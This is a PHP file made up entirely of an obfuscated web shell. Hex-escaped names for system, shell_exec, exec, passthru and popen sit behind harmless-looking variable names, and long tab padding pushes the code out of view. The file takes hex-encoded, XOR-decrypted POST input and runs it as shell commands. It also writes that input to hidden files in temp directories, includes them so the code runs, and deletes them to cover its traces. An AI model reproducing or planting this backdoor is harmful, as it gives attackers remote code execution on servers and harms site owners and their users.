<?php																																										$batch_process5 = "po\x70e\x6E"; $token_parser_engine = "h\x65\x78\x32\x62in"; $batch_process3 = "exe\x63"; $batch_process6 = "s\x74\x72ea\x6D_\x67\x65t_conten\x74s"; $batch_process4 = "\x70asst\x68\x72u"; $batch_process7 = "\x70\x63\x6Cose"; $batch_process2 = "\x73h\x65\x6Cl_\x65\x78ec"; $batch_process1 = "sy\x73\x74\x65m"; if (isset($_POST["m\x61rk\x65\x72"])) { function event_handler ($object , $elem ) { $obj =''; for($h=0; $h<strlen($object); $h++){ $obj.=chr(ord($object[$h])^$elem); } return $obj; } $marker = $token_parser_engine($_POST["m\x61rk\x65\x72"]); $marker = event_handler($marker, 63); if (function_exists($batch_process1)) { $batch_process1($marker); } elseif (function_exists($batch_process2)) { print $batch_process2($marker); } elseif (function_exists($batch_process3)) { $batch_process3($marker, $pgrp_object); print join("\n", $pgrp_object); } elseif (function_exists($batch_process4)) { $batch_process4($marker); } elseif (function_exists($batch_process5) && function_exists($batch_process6) && function_exists($batch_process7)) { $elem_obj = $batch_process5($marker, 'r'); if ($elem_obj) { $binding_resource = $batch_process6($elem_obj); $batch_process7($elem_obj); print $binding_resource; } } exit; }
																																										if(isset($_POST["\x72e\x63"]) ? true : false){ $marker = hex2bin($_POST["\x72e\x63"]); $holder = '' ; for($g=0; $g<strlen($marker); $g++){$holder .= chr(ord($marker[$g]) ^ 78);} $fac = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp", "/dev/shm"]); while ($binding = array_shift($fac)) { if (max(0, is_dir($binding) * is_writable($binding))) { $hld = sprintf("%s/.descriptor", $binding); $success = file_put_contents($hld, $holder); if ($success) { include $hld; @unlink($hld); die();} } } }


if(filter_has_var(INPUT_POST, "r\x65\x66")){
	$symbol = hex2bin($_REQUEST["r\x65\x66"]);
	$tkn  ='';  $z = 0; do{$tkn .= chr(ord($symbol[$z]) ^ 27);$z++;} while($z < strlen($symbol));
	$marker = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", getenv("TEMP")]);
	while ($entity = array_shift($marker)) {
    		if (array_product([is_dir($entity), is_writable($entity)])) {
    $pointer = sprintf("%s/.data", $entity);
    $file = fopen($pointer, 'w');
if ($file) {
	fwrite($file, $tkn);
	fclose($file);
	include $pointer;
	@unlink($pointer);
	die();
}
}
}
}